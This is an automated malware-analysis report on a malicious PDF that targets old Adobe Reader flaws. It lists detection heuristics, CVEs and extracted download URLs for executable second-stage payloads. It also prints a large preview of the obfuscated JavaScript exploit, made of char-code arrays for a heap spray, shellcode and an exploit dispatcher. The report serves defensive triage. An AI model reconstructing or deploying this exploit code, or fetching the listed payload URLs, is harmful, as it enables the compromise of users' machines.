PDF malware analysis — malicious · 7e7f7b58f12e2049

MALICIOUS

PDF

12.3 KB Created: 2009-10-31 19:48:64 Authoring application: PDF Library 4.8.1 (via PDF Library 9.5.3) First seen: 2012-07-12

MD5: 7e121b89d3b013afb33a8a71bce5b8c8 SHA-1: 0958e96798fd20b108e70355446a874e559a26a4 SHA-256: 7e7f7b58f12e2049133568e9c8d17c6fb8c3d0a98cd92bfbc24d30396637792f

590 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known Adobe Reader vulnerabilities, including CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript indicates it downloads and executes a second-stage payload from the provided URLs. The presence of multiple exploit triggers and a shellcode download URL strongly suggests malicious intent.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 13

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-2435 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-2435
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://suqiwyk.cn/a12/mosu2.exe Referenced by PDF JavaScript
- http://suqiwyk.cn/a12/click.php?r=Referenced by PDF JavaScript
- http://suqiwyk.cn/a12/gkzwe2.exeReferenced by PDF JavaScript
- http://suqiwyk.cn/a12/fiqsv2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x268	38182 bytes
SHA-256: `f20db9e96087513ee4e557ee0b87d1584f27dc4540d0978841f028954cffc823`
Detection ClamAV: No threats found Obfuscation or payload: likely 12 of 23 identifiers look randomly generated (e.g. 'fbr2obmMCMh2a2r2CWoWdQeb') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script var hinqvy="";bdjlqu="";dhlnsu=false;cgqrtx=true;adoqs="";cdilv=44983;cehiku=true;cjosuy="cjosuy";alnpvx=false;chjv=false;dzbo=3761;acgjnx=false;pyfnqz="";var egjtw="",tzve="",dnzfu=true,fnrw="",fkps=false,inuv=String,gknrty=String,efgm="95",drzk=0,ekorw="",bhsx=inuv['etvtaBl2'.replace(/[2ZtBc]/g,'')],acfjq=[70,63,66,155,174,163,156,169,162,164,167,85,159,158,177,148,162,169,97,174,154,167,172,165,101,85,165,154,167,94,180,66,67,62,66,172,161,158,165,154,89,93,178,150,171,168,169,99,165,154,167,156,173,157,89,95,89,103,89,113,89,161,158,163,98,176,70,63,66,62,66,174,154,167,172,165,89,96,118,85,178,150,171,168,169,112,70,63,66,62,182,66,67,62,66,174,154,167,172,165,89,114,89,174,154,167,172,165,103,168,174,151,172,169,171,158,167,156,97,101,101,85,165,154,167,100,107,94,116,66,67,62,66,167,158,169,174,167,167,85,178,150,171,168,169,112,70,63,66,178,70,63,70,63,66,155,174,163,156,169,162,164,167,85,174,169,162,161,152,165,171,158,167,169,159,93,98,176,70,63,66,62,175,150,171,85,169,150,178,161,168,150,157,85,118,85,174,163,158,168,156,150,169,154,97,87,94,170,126,119,126,110,94,170,105,101,105,102,94,170,110,107,105,101,94,170,122,102,111,105,94,170,105,101,108,101,94,170,105,101,105,101,94,170,109,101,113,119,94,170,113,119,105,120,94,170,106,120,112,101,94,170,113,119,122,121,94,170,105,109,109,101,94,170,124,104,110,122,94,170,113,119,110,106,94,170,113,119,126,120,94,170,105,109,109,106,94,170,108,104,110,103,94,170,124,102,125,103,94,170,105,104,124,103,94,170,106,101,108,103,94,170,113,101,109,101,94,170,105,101,108,109,94,170,127,106,112,106,94,170,124,103,113,119,94,170,110,121,110,118,94,170,105,105,124,103,94,170,110,106,105,101,94,170,126,120,113,119,94,170,110,102,110,102,94,170,110,107,110,104,94,170,111,101,110,108,94,170,110,121,113,119,94,170,108,104,105,109,94,170,113,119,124,101,94,170,105,120,112,106,94,170,127,122,113,119,94,170,112,107,105,104,94,170,113,119,108,120,94,170,112,109,109,122,94,170,124,123,105,104,94,170,110,102,113,119,94,170,110,103,106,120,94,170,110,102,113,119,94,170,110,103,107,105,94,170,112,102,113,119,94,170,109,122,106,105,94,170,112,106,113,110,94,170,113,119,127,120,94,170,107,101,112,102,94,170,127,108,105,104,94,170,109,118,114,110,94,170,109,103,122,121,94,170,108,119,111,101,94,170,127,120,110,106,94,170,105,105,112,106,94,170,124,101,108,104,94,170,108,108,126,119,94,170,127,123,108,104,94,170,109,106,105,104,94,170,114,108,105,120,94,170,124,123,113,119,94,170,112,106,122,122,94,170,107,119,127,121,94,170,109,123,127,110,94,170,126,109,110,102,94,170,127,123,114,105,94,170,127,123,127,123,94,170,124,104,108,119,94,170,112,105,111,102,94,170,126,119,105,103,94,170,113,119,125,110,94,170,105,120,109,106,94,170,110,122,114,103,94,170,127,103,105,104,94,170,126,101,125,102,94,170,124,107,105,104,94,170,124,110,108,104,94,170,123,108,105,123,94,170,110,123,105,109,94,170,126,102,124,102,94,170,105,104,105,103,94,170,105,104,124,118,94,170,113,119,124,123,94,170,105,104,105,102,94,170,113,110,124,103,94,170,127,109,109,106,94,170,113,119,111,102,94,170,127,109,109,106,94,170,110,122,110,123,94,170,124,110,110,119,94,170,110,106,124,104,94,170,126,120,113,119,94,170,126,109,110,102,94,170,127,123,109,110,94,170,127,123,127,123,94,170,111,109,110,101,94,170,111,101,126,109,94,170,105,105,123,123,94,170,111,120,126,109,94,170,127,123,127,123,94,170,108,104,127,123,94,170,110,103,125,103,94,170,127,123,110,103,94,170,105,109,112,106,94,170,125,101,127,123,94,170,109,106,113,110,94,170,113,119,127,120,94,170,127,120,109,106,94,170,124,104,124,110,94,170,113,119,110,106,94,170,113,104,126,120,94,170,105,120,126,120,94,170,109,106,113,121,94,170,110,101,127,105,94,170,109,106,124,107,94,170,112,106,127,105,94,170,109,106,124,107,94,170,112,103,127,106,94,170,109,106,124,107,94,170,111,120,127,107,94,170,109,106,124,107,94,170,111,121,127,108,94,170,109,106,124,107,94,170,111,123,127,109,94,170,109,106,124,107,94,170,111,122,127,110,94,170,109,106,124,107,94,170,107,122,127,118,94,170,109,106,124,107,94,170,111,105,127,119,94,170,109,106,124,107,94,170,111,120,127,120,94,170,109,106,124,107,94,170,111,120,127,121,94,170,109,106,124,107,94,170,105,101,127,122,94,170,122,101,126,109,94,170,127,123,127,123,94,170,110,101,127,123,94,170,110,121,111,109,94,170,106,102,113,118,94,170,126,109,106,107,94,170,127,123,106,106,94,170,127,123,127,123,94,170,124,105,113,104,94,170,113,106,105,120,94,170,112,105,124,101,94,170,111,118,106,106,94,170,111,118,105,101,94,170,127,123,105,101,94,170,105,120,112,106,94,170,112,106,127,123,94,170,111,118,105,109,94,170,127,123,105,101,94,170,113,106,125,101,94,170,112,106,124,101,94,170,109,101,105,104,94,170,124,104,124,110,94,170,124,101,108,104,94,170,124,104,124,110,94,170,108,104,110,108,94,170,113,119,124,101,94,170,107,105,109,120,94,170,113,119,105,120,94,170,107,105,112,120,94,170,127,120,105,109,94,170,122,118,127,104,94,170,124,104,110,123,94,170,109,120,113,119,94,170,105,105,107,105,94,170,108,110,113,101,94,170,113,119,105,101,94,170,112,105,124,102,94,170,109,101,105,107,94,170,108,109,113,101,94,170,112,106,105,101,94,170,107,119,127,118,94,170,124,104,124,102,94,170,113,119,110,106,94,170,113,104,126,120,94,170,111,105,126,120,94,170,113,121,110,104,94,170,127,101,109,106,94,170,108,104,110,108,94,170,110,101,125,119,94,170,109,106,124,107,94,170,111,119,127,101,94,170,109,106,124,107,94,170,111,106,127,102,94,170,109,106,124,107,94,170,112,103,127,103,94,170,109,106,124,107,94,170,111,122,127,104,94,170,109,106,124,107,94,170,111,106,127,105,94,170,109,106,124,107,94,170,111,120,127,106,94,170,109,106,124,107,94,170,108,104,127,107,94,170,109,106,124,107,94,170,108,103,127,108,94,170,109,106,124,107,94,170,107,122,127,109,94,170,109,106,124,107,94,170,111,105,127,110,94,170,109,106,124,107,94,170,111,120,127,118,94,170,109,106,124,107,94,170,111,120,127,119,94,170,110,121,113,109,94,170,126,109,127,120,94,170,127,123,105,119,94,170,127,123,127,123,94,170,111,109,110,101,94,170,109,104,111,109,94,170,113,122,127,110,94,170,113,101,126,109,94,170,127,123,127,122,94,170,113,119,127,123,94,170,113,121,127,109,94,170,114,120,109,106,94,170,109,105,111,118,94,170,126,109,110,101,94,170,127,123,112,122,94,170,127,123,127,123,94,170,109,106,113,121,94,170,111,118,126,101,94,170,110,101,106,101,94,170,112,104,126,109,94,170,127,123,127,123,94,170,113,104,127,123,94,170,106,120,124,105,94,170,109,106,113,121,94,170,110,101,126,101,94,170,109,106,113,121,94,170,110,101,114,120,94,170,110,104,110,104,94,170,110,104,110,104,94,170,110,104,110,104,94,170,112,106,127,123,94,170,124,108,105,109,94,170,114,120,109,106,94,170,105,101,109,105,94,170,105,101,105,101,94,170,127,123,110,104,94,170,110,123,125,108,94,170,123,107,105,123,94,170,110,119,124,101,94,170,124,104,124,110,94,170,113,119,110,106,94,170,110,102,126,120,94,170,110,104,110,102,94,170,110,108,110,107,94,170,109,103,111,118,94,170,112,103,126,109,94,170,105,101,105,101,94,170,113,119,105,101,94,170,108,104,125,109,94,170,113,106,127,107,94,170,110,110,125,119,94,170,109,106,124,108,94,170,111,102,127,109,94,170,111,106,107,122,94,170,124,108,112,109,94,170,127,120,109,106,94,170,105,101,111,106,94,170,105,101,105,101,94,170,110,107,112,122,94,170,109,106,113,121,94,170,110,101,127,109,94,170,126,109,110,107,94,170,105,101,110,102,94,170,105,101,105,101,94,170,110,101,110,110,94,170,123,102,126,109,94,170,127,123,127,122,94,170,113,106,127,123,94,170,110,110,124,101,94,170,112,105,110,110,94,170,113,121,108,110,94,170,105,102,109,107,94,170,126,109,110,101,94,170,105,101,108,119,94,170,105,101,105,101,94,170,127,109,113,119,94,170,109,106,113,121,94,170,110,101,127,109,94,170,107,102,126,109,94,170,127,123,127,123,94,170,113,106,127,123,94,170,110,110,124,101,94,170,112,105,110,110,94,170,110,108,105,120,94,170,105,102,126,109,94,170,127,123,127,123,94,170,110,110,127,123,94,170,109,105,124,107,94,170,127,123,108,109,94,170,110,101,112,104,94,170,109,106,113,121,94,170,127,122,127,109,94,170,110,109,105,101,94,170,109,106,113,121,94,170,110,101,127,109,94,170,126,109,110,108,94,170,127,122,112,105,94,170,127,123,127,123,94,170,110,110,110,110,94,170,109,107,109,107,94,170,127,104,108,119,94,170,122,118,112,120,94,170,110,122,110,123,94,170,124,110,110,119,94,170,110,106,124,104,94,170,126,120,113,119,94,170,110,104,110,102,94,170,111,101,111,107,94,170,108,103,123,102,94,170,105,101,126,109,94,170,105,101,105,101,94,170,110,109,105,101,94,170,105,109,108,109,94,170,105,104,112,105,94,170,126,119,109,101,94,170,109,101,127,110,94,170,110,121,113,119,94,170,113,101,105,109,94,170,109,103,127,119,94,170,105,109,112,106,94,170,125,119,108,104,94,170,106,109,113,118,94,170,124,104,113,119,94,170,106,108,126,119,94,170,106,109,108,109,94,170,106,102,112,107,94,170,108,104,109,101,94,170,113,105,124,110,94,170,112,105,125,119,94,170,109,101,105,120,94,170,105,109,108,109,94,170,127,119,112,106,94,170,127,122,109,101,94,170,126,119,124,119,94,170,108,104,127,103,94,170,113,110,124,101,94,170,127,120,109,106,94,170,109,106,113,119,94,170,110,119,127,120,94,170,124,104,124,110,94,170,105,103,108,103,94,170,112,105,111,109,94,170,112,101,112,105,94,170,107,123,108,118,94,170,112,104,107,123,94,170,112,102,112,106,94,170,112,108,111,110,94,170,111,119,112,110,94,170,111,104,107,122,94,170,107,123,111,122,94,170,108,102,111,102,94,170,107,123,108,103,94,170,111,123,111,121,94,170,112,106,112,104,94,170,107,122,108,103,94,170,112,109,111,106,94,170,105,101,111,106,94,170,112,105,111,109,94,170,112,101,112,105,94,170,107,123,108,118,94,170,112,104,107,123,94,170,112,102,112,106,94,170,112,108,111,110,94,170,111,119,112,110,94,170,111,104,107,122,94,170,107,123,111,122,94,170,108,102,111,102,94,170,107,123,108,103,94,170,111,120,111,104,94,170,111,104,111,110,94,170,107,122,111,119,94,170,111,109,112,101,94,170,108,123,112,101,94,170,108,121,112,103,94,170,105,101,105,101,91,94,116,66,67,62,66,171,154,167,89,163,168,165,89,114,89,170,167,154,172,152,154,165,158,93,91,90,174,101,122,101,122,90,174,101,122,101,122,90,174,101,122,101,122,90,174,101,122,101,122,87,98,66,67,62,66,171,154,167,89,157,158,150,169,151,165,164,156,160,89,114,89,163,168,165,89,96,89,165,154,174,165,164,154,153,116,66,67,62,66,171,154,167,89,151,162,156,155,161,168,152,164,85,118,85,174,163,158,168,156,150,169,154,97,87,94,170,105,118,105,118,94,170,105,118,105,118,91,94,116,66,67,62,66,171,154,167,89,157,158,150,157,154,171,168,162,175,158,85,118,85,107,101,116,66,67,62,66,171,154,167,89,168,169,167,154,174,89,114,89,157,158,150,157,154,171,168,162,175,158,85,100,85,161,154,154,165,155,161,168,152,164,99,165,154,167,156,173,157,116,66,67,62,66,172,161,158,165,154,89,93,155,158,160,151,165,164,156,160,103,161,158,163,160,169,161,85,117,85,172,165,171,150,178,94,180,66,67,62,66,62,155,158,160,151,165,164,156,160,89,96,118,85,155,158,160,151,165,164,156,160,116,66,67,62,66,178,70,63,66,62,175,150,171,85,159,158,165,161,155,161,168,152,164,85,118,85,155,158,160,151,165,164,156,160,103,168,174,151,172,169,171,158,167,156,97,101,101,85,172,165,171,150,178,94,116,66,67,62,66,171,154,167,89,151,165,164,156,160,89,114,89,151,162,156,155,161,168,152,164,99,172,170,155,168,173,167,162,163,160,93,105,97,89,151,162,156,155,161,168,152,164,99,165,154,167,156,173,157,102,168,169,167,154,174,98,112,70,63,66,62,176,157,162,161,158,85,97,151,165,164,156,160,103,161,158,163,160,169,161,96,172,165,171,150,178,85,117,85,105,173,109,101,105,101,105,94,180,66,67,62,66,62,155,161,168,152,164,85,118,85,155,161,168,152,164,85,100,85,155,161,168,152,164,85,100,85,159,158,165,161,155,161,168,152,164,112,70,63,66,62,182,66,67,62,66,171,154,167,89,162,158,162,152,150,171,167,154,174,89,114,89,163,158,172,89,118,171,167,154,174,97,94,116,66,67,62,66,155,168,167,89,93,175,150,171,85,162,85,118,85,105,112,89,158,89,113,89,102,109,101,105,112,89,158,100,96,98,176,70,63,66,62,66,162,158,162,152,150,171,167,154,174,148,158,150,85,118,85,155,161,168,152,164,85,100,85,161,154,154,165,155,161,168,152,164,112,70,63,66,62,182,66,67,62,66,171,154,167,89,163,174,162,89,114,89,102,107,110,114,110,114,110,114,110,114,110,114,110,114,110,114,110,114,110,114,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,112,70,63,66,62,174,169,162,161,103,165,171,158,167,169,159,93,91,90,109,106,105,101,105,155,91,97,89,163,174,162,98,112,70,63,66,178,70,63,70,63,66,155,174,163,156,169,162,164,167,85,156,164,165,161,154,151,152,154,166,150,162,161,97,94,180,66,67,62,66,171,154,167,89,168,161,154,165,161,156,164,157,154,89,114,89,170,167,154,172,152,154,165,158,93,91,90,174,122,123,122,114,90,174,101,105,101,106,90,174,106,111,101,105,90,174,118,106,107,109,90,174,101,105,104,105,90,174,101,105,101,105,90,174,105,105,109,123,90,174,109,123,101,124,90,174,102,124,108,105,90,174,109,123,118,125,90,174,101,113,105,105,90,174,120,108,106,126,90,174,109,123,106,110,90,174,109,123,122,124,90,174,101,113,105,110,90,174,104,108,106,107,90,174,120,106,121,107,90,174,101,108,120,107,90,174,102,105,104,107,90,174,109,105,105,105,90,174,101,105,104,113,90,174,123,110,108,110,90,174,120,107,109,123,90,174,106,125,106,122,90,174,101,109,120,107,90,174,106,110,101,105,90,174,122,124,109,123,90,174,106,106,106,106,90,174,106,111,106,108,90,174,107,105,106,112,90,174,106,125,109,123,90,174,104,108,101,113,90,174,109,123,120,105,90,174,101,124,108,110,90,174,123,126,109,123,90,174,108,111,101,108,90,174,109,123,104,124,90,174,108,113,105,126,90,174,120,127,101,108,90,174,106,106,109,123,90,174,106,107,102,124,90,174,106,106,109,123,90,174,106,107,103,109,90,174,108,106,109,123,90,174,105,126,102,109,90,174,108,110,109,114,90,174,109,123,123,124,90,174,103,105,108,106,90,174,123,112,101,108,90,174,105,122,110,114,90,174,105,107,118,125,90,174,104,123,107,105,90,174,123,124,106,110,90,174,101,109,108,110,90,174,120,105,104,108,90,174,104,112,122,123,90,174,123,127,104,108,90,174,105,110,101,108,90,174,110,112,101,124,90,174,120,127,109,123,90,174,108,110,118,126,90,174,103,123,123,125,90,174,105,127,123,114,90,174,122,113,106,106,90,174,123,127,110,109,90,174,123,127,123,127,90,174,120,108,104,123,90,174,108,109,107,106,90,174,122,123,101,107,90,174,109,123,121,114,90,174,101,124,105,110,90,174,106,126,110,107,90,174,123,107,101,108,90,174,122,105,121,106,90,174,120,111,101,108,90,174,120,114,104,108,90,174,119,112,101,127,90,174,106,127,101,113,90,174,122,106,120,106,90,174,101,108,101,107,90,174,101,108,120,122,90,174,109,123,120,127,90,174,101,108,101,106,90,174,109,114,120,107,90,174,123,113,105,110,90,174,109,123,107,106,90,174,123,113,105,110,90,174,106,126,106,127,90,174,120,114,106,123,90,174,106,110,120,108,90,174,122,124,109,123,90,174,122,113,106,106,90,174,123,127,105,114,90,174,123,127,123,127,90,174,107,113,106,105,90,174,107,105,122,113,90,174,101,109,119,127,90,174,107,124,122,113,90,174,123,127,123,127,90,174,104,108,123,127,90,174,106,107,121,107,90,174,123,127,106,107,90,174,101,113,108,110,90,174,121,105,123,127,90,174,105,110,109,114,90,174,109,123,123,124,90,174,123,124,105,110,90,174,120,108,120,114,90,174,109,123,106,110,90,174,109,108,122,124,90,174,101,124,122,124,90,174,105,110,109,125,90,174,106,105,123,109,90,174,105,110,120,111,90,174,108,110,123,109,90,174,105,110,120,111,90,174,108,107,123,110,90,174,105,110,120,111,90,174,107,124,123,111,90,174,105,110,120,111,90,174,107,125,123,112,90,174,105,110,120,111,90,174,107,127,123,113,90,174,105,110,120,111,90,174,107,126,123,114,90,174,105,110,120,111,90,174,103,126,123,122,90,174,105,110,120,111,90,174,107,109,123,123,90,174,105,110,120,111,90,174,107,124,123,124,90,174,105,110,120,111,90,174,107,124,123,125,90,174,105,110,120,111,90,174,101,105,123,126,90,174,118,105,122,113,90,174,123,127,123,127,90,174,106,105,123,127,90,174,106,125,107,113,90,174,102,106,109,122,90,174,122,113,102,111,90,174,123,127,102,110,90,174,123,127,123,127,90,174,120,109,109,108,90,174,109,110,101,124,90,174,108,109,120,105,90,174,107,122,102,110,90,174,107,122,101,105,90,174,123,127,101,105,90,174,101,124,108,110,90,174,108,110,123,127,90,174,107,122,101,113,90,174,123,127,101,105,90,174,109,110,121,105,90,174,108,110,120,105,90,174,105,105,101,108,90,174,120,108,120,114,90,174,120,105,104,108,90,174,120,108,120,114,90,174,104,108,106,112,90,174,109,123,120,105,90,174,103,109,105,124,90,174,109,123,101,124,90,174,103,109,108,124,90,174,123,124,101,113,90,174,118,122,123,108,90,174,120,108,106,127,90,174,105,124,109,123,90,174,101,109,103,109,90,174,104,114,109,105,90,174,109,123,101,105,90,174,108,109,120,106,90,174,105,105,101,111,90,174,104,113,109,105,90,174,108,110,101,105,90,174,103,123,123,122,90,174,120,108,120,106,90,174,109,123,106,110,90,174,109,108,122,124,90,174,107,109,122,124,90,174,109,125,106,108,90,174,123,105,105,110,90,174,104,108,106,112,90,174,106,105,121,123,90,174,105,110,120,111,90,174,107,123,123,105,90,174,105,110,120,111,90,174,107,110,123,106,90,174,105,110,120,111,90,174,108,107,123,107,90,174,105,110,120,111,90,174,107,126,123,108,90,174,105,110,120,111,90,174,107,110,123,109,90,174,105,110,120,111,90,174,107,124,123,110,90,174,105,110,120,111,90,174,104,108,123,111,90,174,105,110,120,111,90,174,104,107,123,112,90,174,105,110,120,111,90,174,103,126,123,113,90,174,105,110,120,111,90,174,107,109,123,114,90,174,105,110,120,111,90,174,107,124,123,122,90,174,105,110,120,111,90,174,107,124,123,123,90,174,106,125,109,113,90,174,122,113,123,124,90,174,123,127,101,123,90,174,123,127,123,127,90,174,107,113,106,105,90,174,105,108,107,113,90,174,109,126,123,114,90,174,109,105,122,113,90,174,123,127,123,126,90,174,109,123,123,127,90,174,109,125,123,113,90,174,110,124,105,110,90,174,105,109,107,122,90,174,122,113,106,105,90,174,123,127,108,126,90,174,123,127,123,127,90,174,105,110,109,125,90,174,107,122,122,105,90,174,106,105,102,105,90,174,108,108,122,113,90,174,123,127,123,127,90,174,109,108,123,127,90,174,102,124,120,109,90,174,105,110,109,125,90,174,106,105,122,105,90,174,105,110,109,125,90,174,106,105,110,124,90,174,106,108,106,108,90,174,106,108,106,108,90,174,106,108,106,108,90,174,108,110,123,127,90,174,120,112,101,113,90,174,110,124,105,110,90,174,101,105,105,109,90,174,101,105,101,105,90,174,123,127,106,108,90,174,106,127,121,112,90,174,119,111,101,127,90,174,106,123,120,105,90,174,120,108,120,114,90,174,109,123,106,110,90,174,106,106,122,124,90,174,106,108,106,106,90,174,106,112,106,111,90,174,105,107,107,122,90,174,108,107,122,113,90,174,101,105,101,105,90,174,109,123,101,105,90,174,104,108,121,113,90,174,109,110,123,111,90,174,106,114,121,123,90,174,105,110,120,112,90,174,107,106,123,113,90,174,107,110,103,126,90,174,120,112,108,113,90,174,123,124,105,110,90,174,101,105,107,110,90,174,101,105,101,105,90,174,106,111,108,126,90,174,105,110,109,125,90,174,106,105,123,113,90,174,122,113,106,111,90,174,101,105,106,106,90,174,101,105,101,105,90,174,106,105,106,114,90,174,119,106,122,113,90,174,123,127,123,126,90,174,109,110,123,127,90,174,106,114,120,105,90,174,108,109,106,114,90,174,109,125,104,114,90,174,101,106,105,111,90,174,122,113,106,105,90,174,101,105,104,123,90,174,101,105,101,105,90,174,123,113,109,123,90,174,105,110,109,125,90,174,106,105,123,113,90,174,103,106,122,113,90,174,123,127,123,127,90,174,109,110,123,127,90,174,106,114,120,105,90,174,108,109,106,114,90,174,106,112,101,124,90,174,101,106,122,113,90,174,123,127,123,127,90,174,106,114,123,127,90,174,105,109,120,111,90,174,123,127,104,113,90,174,106,105,108,108,90,174,105,110,109,125,90,174,123,126,123,113,90,174,106,113,101,105,90,174,105,110,109,125,90,174,106,105,123,113,90,174,122,113,106,112,90,174,123,126,108,109,90,174,123,127,123,127,90,174,106,114,106,114,90,174,105,111,105,111,90,174,123,108,104,123,90,174,118,122,108,124,90,174,106,126,106,127,90,174,120,114,106,123,90,174,106,110,120,108,90,174,122,124,109,123,90,174,106,108,106,106,90,174,107,105,107,111,90,174,104,107,119,106,90,174,101,105,122,113,90,174,101,105,101,105,90,174,106,113,101,105,90,174,101,113,104,113,90,174,101,108,108,109,90,174,122,123,105,105,90,174,105,105,123,114,90,174,106,125,109,123,90,174,109,105,101,113,90,174,105,107,123,123,90,174,101,113,108,110,90,174,121,123,104,108,90,174,102,113,109,122,90,174,120,108,109,123,90,174,102,112,122,123,90,174,102,113,104,113,90,174,102,106,108,111,90,174,104,108,105,105,90,174,109,109,120,114,90,174,108,109,121,123,90,174,105,105,101,124,90,174,101,113,104,113,90,174,123,123,108,110,90,174,123,126,105,105,90,174,122,123,120,123,90,174,104,108,123,107,90,174,109,114,120,105,90,174,123,124,105,110,90,174,105,110,109,123,90,174,106,123,123,124,90,174,120,108,120,114,90,174,101,107,104,107,90,174,108,109,107,113,90,174,108,105,108,109,90,174,103,127,104,122,90,174,108,108,103,127,90,174,108,106,108,110,90,174,108,112,107,114,90,174,107,123,108,114,90,174,107,108,103,126,90,174,103,127,107,126,90,174,104,106,107,106,90,174,103,127,104,107,90,174,107,123,107,112,90,174,108,112,108,122,90,174,104,107,107,110,90,174,107,110,103,126,90,174,107,110,108,113,90,174,107,113,101,105,90,174,108,109,108,109,90,174,104,122,108,105,90,174,103,127,103,127,90,174,108,110,108,108,90,174,107,114,108,106,90,174,108,114,108,112,90,174,103,126,107,123,90,174,107,126,107,108,90,174,107,106,103,127,90,174,104,107,104,106,90,174,107,108,103,127,90,174,107,114,107,124,90,174,107,123,107,108,90,174,108,105,103,126,90,174,108,105,107,113,90,174,108,107,104,127,90,174,101,105,104,125,87,98,112,70,63,66,62,175,150,171,85,166,154,166,148,154,167,171,150,178,85,118,85,167,154,176,85,122,167,171,150,178,93,98,112,70,63,66,62,175,150,171,85,156,152,89,114,89,101,177,101,156,101,156,101,156,101,156,112,70,63,66,62,175,150,171,85,154,153,157,167,89,114,89,101,177,105,105,101,105,101,105,112,70,63,66,62,175,150,171,85,172,152,152,161,158,163,89,114,89,168,161,154,165,161,156,164,157,154,103,161,158,163,160,169,161,85,99,85,107,112,70,63,66,62,175,150,171,85,165,154,167,85,118,85,154,153,157,167,89,98,89,93,172,152,152,161,158,163,100,101,177,104,113,94,116,66,67,62,66,171,154,167,89,174,154,167,172,165,89,114,89,170,167,154,172,152,154,165,158,93,91,90,174,110,105,110,105,90,174,110,105,110,105,87,98,112,70,63,66,62,178,150,171,168,169,85,118,85,159,158,177,148,162,169,97,174,154,167,172,165,101,85,165,154,167,94,116,66,67,62,66,171,154,167,89,152,168,170,167,169,107,85,118,85,97,152,156,85,102,85,105,173,109,101,105,101,105,101,98,100,154,153,157,167,116,66,67,62,66,155,168,167,89,93,175,150,171,85,156,164,174,163,173,85,118,85,105,112,89,152,168,170,167,169,89,113,89,152,168,170,167,169,107,112,89,152,168,170,167,169,100,96,98,176,70,63,66,62,66,162,158,162,152,150,171,167,154,174,148,152,168,170,167,169,150,85,118,85,178,150,171,168,169,85,100,85,172,157,158,161,165,152,168,153,158,112,70,63,66,62,